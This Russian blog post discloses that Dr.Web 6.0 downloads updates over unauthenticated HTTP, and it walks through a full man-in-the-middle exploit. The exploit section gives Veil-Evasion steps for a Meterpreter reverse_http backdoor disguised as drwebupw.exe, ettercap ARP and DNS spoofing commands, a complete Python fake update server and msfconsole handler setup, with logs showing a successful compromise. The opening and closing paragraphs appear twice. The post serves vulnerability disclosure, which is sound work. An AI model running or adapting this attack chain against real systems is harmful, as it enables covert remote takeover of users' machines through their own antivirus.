В этой статье я хочу более подробно рассказать о проблемах протокола обновления в антивирусе Dr.Web, благодаря чему, в случае перехвата трафика, становится возможным подмена компонентов антивируса и выполнение произвольного кода. Информацию об уязвимости я впервые увидел в материалах конференции SyScan2014 в презентации Breaking Antivirus Software (Joxean Koret), и т.к. факт наличия уязвимости уже известен, то особого смысла в еще одной публикации не было. По крайне мере, до одного момента.
В обсуждении статьи «Данные около 70 000 карт были скомпрометированы на платежном шлюзе РЖД» меня искренне удивила реакция некоторых читателей, и предположительно одного из сотрудников компании Dr.Web, который отказался признавать наличие проблем в ПО. Поэтому, было решено самому разобраться в деталях, а также проверить возможность эксплуатации. Надеюсь, эта публикация поспособствует скорейшему исправлению ситуации.
В качестве «подопытного» выбран Dr.Web версии 6.0, как обладающий множеством сертификатов: ФСТЭК, ФСБ, Минобороны РФ. Остальные версии не рассматривались, так что, возможно в них присутствуют аналогичные проблемы, а возможно и нет. В ходе эксперимента все настройки антивируса выставлены по-умолчанию, встроенная защита НЕ отключалась. В качестве операционной системы используется Windows 7.
Для эксплуатации уязвимости необходимо, чтобы атакующий имел возможность перенаправления трафика пользователя (например, вследствие подмены DNS-сервера, отравления ARP кэша или как-то еще). Для простоты эксперимента, в тестовой среде компьютеры клиента и злоумышленника находятся в одной сети:

Для скачивания обновлений со своих серверов, Dr.Web использует http протокол, т.е. данные передаются в открытом виде.
Процесс выполняется в следующей последовательности:
На этом в принципе все. Как можно заметить, никаких проверок на оригинальность обновления не проводится и можно попробовать провести MitM атаку и подменить файлы на свои.
Как было показано выше, уязвимость в Dr.Web 6 действительно присутствует и подобные атаки вполне могут быть реализованы и в боевых условиях. Так что остается надеяться на трезвый взгляд компании-разработчика. Писать о реальной бесполезности сертификации не буду, уже не раз обсуждалось.
В обсуждении статьи «Данные около 70 000 карт были скомпрометированы на платежном шлюзе РЖД» меня искренне удивила реакция некоторых читателей, и предположительно одного из сотрудников компании Dr.Web, который отказался признавать наличие проблем в ПО. Поэтому, было решено самому разобраться в деталях, а также проверить возможность эксплуатации. Надеюсь, эта публикация поспособствует скорейшему исправлению ситуации.
Исходные данные:
В качестве «подопытного» выбран Dr.Web версии 6.0, как обладающий множеством сертификатов: ФСТЭК, ФСБ, Минобороны РФ. Остальные версии не рассматривались, так что, возможно в них присутствуют аналогичные проблемы, а возможно и нет. В ходе эксперимента все настройки антивируса выставлены по-умолчанию, встроенная защита НЕ отключалась. В качестве операционной системы используется Windows 7.
Подробный список программных модулей антивируса и их версий на момент тестирования
- Dr.Web ® Virus-Finding Engine drweb32.dll (7.00.9.04080)
- Dr.Web ® Scanning Engine dwengine.exe (7.0.1.05020 (Build 9393))
- Dr.Web ® Windows Action Center Integration dwsewsc.exe (7.0.1.05020 (Build 9393))
- Dr.Web File System Monitor spiderg3.sys (6.0.10.12290)
- Dr.Web Protection for Windows dwprot.sys (7.0.0.08090)
- SpIDer Agent for Windows spideragent.exe (6.0.5.10310)
- SpIDer Agent admin-mode module for Windows spideragent_adm.exe (6.0.5.10310)
- SpIDer Agent settings module for Windows spideragent_set.exe (6.0.5.10310)
- SpIDer Mail ® for Windows Workstation spiderml.exe (6.0.3.08040)
- SpIDer Mail ® for Windows Workstation settings module spml_set.exe (6.0.3.08040)
- Dr.Web Winsock Provider Hook drwebsp.dll (6.0.1.04140)
- Dr.Web Winsock Provider Hook drwebsp64.dll (6.0.1.04140)
- Dr.Web© Scanner for Windows drweb32w.exe (6.00.16.01270)
- Dr.Web ® Console Scanner dwscancl.exe (7.0.1.05020 (Build 9393))
- Dr.Web ® Shell Extension drwsxtn.dll (6.00.1.201103100)
- Dr.Web ® Shell Extension drwsxtn64.dll (6.00.1.201103100)
- Dr.Web Updater for Windows drwebupw.exe (6.00.15.201301210)
- Dr.Web Helper drwreg.exe (6.00.12.201102110)
- Dr.Web SysInfo dwsysinfo.exe (7.00.3.201204270)
- DrWeb ® Quarantine Manager dwqrui.exe (7.0.1.05020 (Build 9393))
- Dr.Web Adds-on unpacker drwadins.exe (6.00.0.02270)
- Dr.Web ® for Microsoft Outlook Settings drwebsettingprocess.exe (6.00.0.201101130)
- Dr.Web ® for Microsoft Outlook Messages drwmsg.dll (6.00.0.201101130)
- Dr.Web ® for Microsoft Outlook drwebforoutlook.dll (6.00.0.201101130)
Для эксплуатации уязвимости необходимо, чтобы атакующий имел возможность перенаправления трафика пользователя (например, вследствие подмены DNS-сервера, отравления ARP кэша или как-то еще). Для простоты эксперимента, в тестовой среде компьютеры клиента и злоумышленника находятся в одной сети:

Описание уязвимости
Для скачивания обновлений со своих серверов, Dr.Web использует http протокол, т.е. данные передаются в открытом виде.
Список серверов обновления
- update.geo.drweb.com
- update.drweb.com
- update.msk.drweb.com
- update.us.drweb.com
- update.msk5.drweb.com
- update.msk6.drweb.com
- update.fr1.drweb.com
- update.us1.drweb.com
- update.kz.drweb.com
- update.nsk1.drweb.com
Процесс выполняется в следующей последовательности:
- Запрос метки времени — timestamp
Пример запросаGET /x64/600/av/windows/timestamp
HTTP/1.1 Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:36 GMT
Content-Type: application/octet-stream
Content-Length: 10
Last-Modified: Sat, 19 Apr 2014 09:26:19 GMT
Connection: keep-alive
Accept-Ranges: bytes
1397898695
- Запрос дополнительной информации (актуальная версия антивируса и некоторые другие данные) – файл drweb32.flg
Пример запросаGET /x64/600/av/windows/drweb32.flg HTTP/1.1
Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:37 GMT
Content-Type: application/octet-stream
Content-Length: 336 Last-Modified: Wed, 23 Jan 2013 09:42:21 GMT
Connection: keep-alive
Accept-Ranges: bytes [windows]
LinkNews=http://news.drweb.com/flag+800/
LinkDownload=http://download.geo.drweb.com/pub/drweb/windows/8.0/drweb-800-win.exe
FileName=
isTime=1
TimeX=1420122293
cmdLine=
Type=1
ExcludeOS=2k|xp64
ExcludeDwl=ja
ExcludeLCID=17|1041
[signature]
sign=7077D2333EA900BCF30E479818E53447CA388597B3AC20B7B0471225FDE69066E8AC4C291F364077
- Запрос списка обновляемых компонентов системы – файл drweb32.lst.lzma
Пример запросаGET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1
Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
Connection: Keep-Alive Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/42
Date: Sat, 19 Apr 2014 10:33:39 GMT
Content-Type: application/octet-stream
Content-Length: 2373
Last-Modified: Sat, 19 Apr 2014 10:23:08 GMT
Connection: keep-alive
Accept-Ranges: bytes
].....#.......-.
..x.3..x. .**..C.......d...X..7..vB.*P]c...<....^.,.2..c.?.>y....!.(,..*...sA.U.pM..,.......hG....j.*.............F...:. ..!Z.....h..}...(Y1k.....}...F..-....J...............|...3.;.....5.."...S.K`.)
.Kjx$,....u.5..~.}UX.E… (другие данные опущены)
Запрашиваемый файл представляет собой архив, сжатый по алгоритму lzma (используется в 7-Zip). После распаковки сам файл выглядит примерно так:
[DrWebUpdateList] [500] +timestamp, 8D17F12F +lang.lst, EDCB0715 +update.drl, AB6FA8BE +drwebupw.exe, 8C879982 +drweb32.dll, B73749FD +drwebase.vdb, C5CBA22F … +<wnt>%SYSDIR64%\drivers\dwprot.sys, 3143EB8D +<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwengine.exe, 8097D92B +<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwinctl.dll, A18AEA4A ... [DrWebUpdateListEnd]
Шестнадцатеричные значения рядом с именами файлов представляют собой контрольные суммы файлов, вычисленные по алго��итму crc32. В данном случае, контрольные суммы используются для поддержания «версионности» файлов.
Также можно увидеть, что механизм обновлений может использовать переменные среды, вроде %CommonProgramFiles%, %SYSDIR64% и т.д. – т.е. файлы можно заливать не только в папку Dr.Web, но и другие системные директории
- Скачивание файлов
Пример запросаGET /x86/600/av/windows/dwrtoday.vdb HTTP/1.1
Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 741d1186c47dc500ab5a60629579d8cf
X-DrWeb-KeyNumber: 0110242389
X-DrWeb-SysHash: 08AA5F775FD38D161E2221928D10903F
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7600)
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/42
Date: Sat, 19 Apr 2014 02:02:36 GMT
Content-Type: application/octet-stream
Content-Length: 5712
Last-Modified: Sat, 19 Apr 2014 01:31:32 GMT
Connection: keep-alive
Accept-Ranges: bytes
Dr.Web ® version 4.20+ Anti-Virus Database
Copyright © by Igor Daniloff, 1998-2014
Created by Doctor Web Anti-Virus Labs, St.Petersburg
IDRW4...CR/.U.._.C..9G.~\J....6G....}u...y$_naykP...x...........h… ................J.....QS................7..(другие данные опущены)
В том случае, если контрольные суммы файлов из полученного списка обновления отличаются от используемых, то клиент запрашивает патч существующего:
GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f
Если патч получить не удается или файла ранее не было в системе, то идет запрос на новый файл целиком:
GET /x64/600/av/windows/drwebupw.exe
Обновляемые файлы также идут без каких-либо проверок, в открытом виде, либо просто запакованые lzma.
- Обновление файлов
После процедуры скачивания файлов, происходит замена старых. При этом дополнительных проверок так��е не производится. Например, как будет показано далее, Dr.Web без проблем принял сгенерированный пэйлоад из метасплойта вместо родного drwebupw.exe.
На этом в принципе все. Как можно заметить, никаких проверок на оригинальность обновления не проводится и можно попробовать провести MitM атаку и подменить файлы на свои.
Эксплуатация
- Создаем собственный бэкдор, который бы выполнился на компьютере-клиенте и передал управление злоумышленнику. Для этого можно использовать нагрузку Meterpreter из проекта Metasploit Framework, дополнительно прогнав через Veil-Evasion для обхода антивируса. На выходе получаем файл drwebupw.exe, который в дальнейшем заменит оригинальный компонент антивируса клиента при обновлении.
Процесс создания бэкдора (c/meterpreter/rev_http )========================================================================= Veil-Evasion | [Version]: 2.7.0 ========================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ========================================================================= Main Menu 29 payloads loaded Available commands: use use a specific payload info information on a specific payload list list available payloads update update Veil to the latest version clean clean out payload folders checkvt check payload hashes vs. VirusTotal exit exit Veil [>] Please enter a command: list [*] Available payloads: 1) auxiliary/coldwar_wrapper 2) auxiliary/pyinstaller_wrapper 3) c/meterpreter/rev_http 4) c/meterpreter/rev_http_service 5) c/meterpreter/rev_tcp 6) c/meterpreter/rev_tcp_service 7) c/shellcode_inject/virtual 8) c/shellcode_inject/void 9) cs/meterpreter/rev_tcp 10) cs/shellcode_inject/base64_substitution 11) cs/shellcode_inject/virtual 12) native/Hyperion 13) native/backdoor_factory 14) native/pe_scrambler 15) powershell/shellcode_inject/download_virtual 16) powershell/shellcode_inject/psexec_virtual 17) powershell/shellcode_inject/virtual 18) python/meterpreter/rev_http 19) python/meterpreter/rev_http_contained 20) python/meterpreter/rev_https 21) python/meterpreter/rev_https_contained 22) python/meterpreter/rev_tcp 23) python/shellcode_inject/aes_encrypt 24) python/shellcode_inject/arc_encrypt 25) python/shellcode_inject/base64_substitution 26) python/shellcode_inject/des_encrypt 27) python/shellcode_inject/flat 28) python/shellcode_inject/letter_substitution 29) python/shellcode_inject/pidinject [>] Please enter a command: use 3 [>] Please enter a command: set LHOST 10.0.1.106 [>] Please enter a command: generate [>] Please enter the base name for output files: drwebupw [*] Executable written to: /root/veil-output/compiled/drwebupw.exe
- Используя arp-спуфинг, перенаправляем запросы клиента на хост злоумышленника. В качестве инструмента можно использовать утилиту ettercap и модуль dns_spoof. Добавляем хосты, используемые для обновления Dr.Web в список перенаправления ettercap. В принципе достаточно одного адреса update.geo.drweb.com (т.к. он проверяется первым):
echo “update.geo.drweb.com A 10.0.1.106” >> /etc/ettercap/etter.dns
Далее запускаем непосредственно процедуру отравления arp-кэша и подмены dns:
ettercap -i eth0 -T -P dns_spoof -M arp:remote /10.0.1.1/ /10.0.1.102/
Таким образом, трафик после эксплуатации пойдет по следующей схеме:

- Эмулируем сервер обновления Dr.Web для выдачи клиенту специально подготовленного файла. Для этого был написан небольшой python-скрипт, который:
- Принимает входящее соединение
- Формирует метку времени и отвечает на запрос timestamp
- Формирует файл с дополнительной информацией drweb32.flg
- Формирует файл со списком обновлений и запаковывает его в lzma архив drweb32.lst.lzma
- Отдает фейковое обновление на запрос клиента
drweb_http_server.py#!/usr/bin/python #encoding: utf-8 import SocketServer import SimpleHTTPServer import time import lzma import os import binascii from struct import * from subprocess import call #Непосредственно обработчик http запросов от клиента Dr.Web class HttpRequestHandler (SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): if 'timestamp' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open('timestamp').read()) elif 'drweb32.flg' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open('drweb32.flg').read()) elif 'drweb32.lst.lzma' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open('drweb32.lst.lzma').read()) elif UPLOAD_FILENAME + '.lzma' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open(UPLOAD_FILENAME + '.lzma').read()) #Клиент первоначально запрашивает патч для обновившегося файла, #а если не получает его - запрашивает файл целиком elif UPLOAD_FILENAME + '.patch' in self.path: self.send_response(404) self.end_headers() else: print self.path def CRC32_from_file(filename): buf = open(filename,'rb').read() buf = (binascii.crc32(buf) & 0xFFFFFFFF) return "%08X" % buf def create_timestamp_file(): with open('timestamp','w') as f: f.write('%s'%int(time.time())) def create_lst_file(upload_filename,upload_path): # upload_path может принимать: # пустые значения, что значит что файл находится непосредственно в директории Dr.Web # либо значения вида <wnt>%SYSDIR64%\drivers\, <wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\ и т.д. crc32 = CRC32_from_file(upload_filename) with open('drweb32.lst','w') as f: f.write('[DrWebUpdateList]\n') f.write('[500]\n') f.write('+%s, %s\n' % (upload_path+upload_filename,crc32)) f.write('[DrWebUpdateListEnd]\n') #по какой-то причине встроенная в Linux утилита lzma в создаваемом файле не указывает размер исходного файла #без этого параметра Dr.Web отказывается принимать файлы, поэтому правим руками def edit_file_size(lzma_filename,orig_filename): file_size = os.stat(orig_filename).st_size with open(lzma_filename,'r+b') as f: f.seek(5) bsize = pack('l',file_size) f.write(bsize) #загружаемый файл должен находится в одной папке со скриптом UPLOAD_FILENAME = 'drwebupw.exe' #создаем метку времени create_timestamp_file() #создаем файл со списком обновляемых файлов, для упаковки в lzma используем встроенную утилиту create_lst_file(UPLOAD_FILENAME,'') call(['lzma', '-k', '-f','drweb32.lst']) edit_file_size('drweb32.lst.lzma','drweb32.lst') #архивируем файл с фейковым обновлением call(['lzma', '-k', '-f',UPLOAD_FILENAME]) edit_file_size(UPLOAD_FILENAME + '.lzma',UPLOAD_FILENAME) print 'Http Server started...' httpServer=SocketServer.TCPServer(('',80),HttpRequestHandler) httpServer.serve_forever()
При запуске, скрипт начнет принимать соединения и в ответ на запрос обновления выдаст фейковое обновление для файла drwebupw.exe
python drweb_http_server.py Http Server started... 10.0.1.102 - - [20/Apr/2014 10:48:24] "GET /x64/600/av/windows/timestamp HTTP/1.1" 200 - 10.0.1.102 - - [20/Apr/2014 10:48:24] "GET /x64/600/av/windows/drweb32.flg HTTP/1.1" 200 - 10.0.1.102 - - [20/Apr/2014 10:48:26] "GET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1" 200 - 10.0.1.102 - - [20/Apr/2014 10:48:27] "GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f HTTP/1.1" 404 - 10.0.1.102 - - [20/Apr/2014 10:48:27] "GET /x64/600/av/windows/drwebupw.exe.lzma HTTP/1.1" 200 –
Клиент успешно его примет и перезапишет оригинальный компонент:

- Запускаем обработчик соединения от бэкдора:
$ msfconsole msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http PAYLOAD => windows/meterpreter/reverse_http msf exploit(handler) > set LHOST 10.0.1.106 LHOST => 10.0.1.106 msf exploit(handler) > set LPORT 8080 LPORT => 8080 msf exploit(handler) > run [*] Started HTTP reverse handler on http://10.0.1.106:8080/ [*] Starting the payload handler...
Если все прошло нормально, то при очередной попытке обновиться, от клиента придет коннект:

На этом можно считать, что хост клиента скомпрометирован – мы получили доступ к файловой системе, возможность выполнять любые команды и т.д. Можно было действовать не так топорно, а лишь изменить некоторый функционал антивируса и таким образом оставаться незаметным более долгое время.
Выводы
Как было показано выше, уязвимость в Dr.Web 6 действительно присутствует и подобные атаки вполне могут быть реализованы и в боевых условиях. Так что остается надеяться на трезвый взгляд компании-разработчика. Писать о реальной бесполезности сертификации не буду, уже не раз обсуждалось.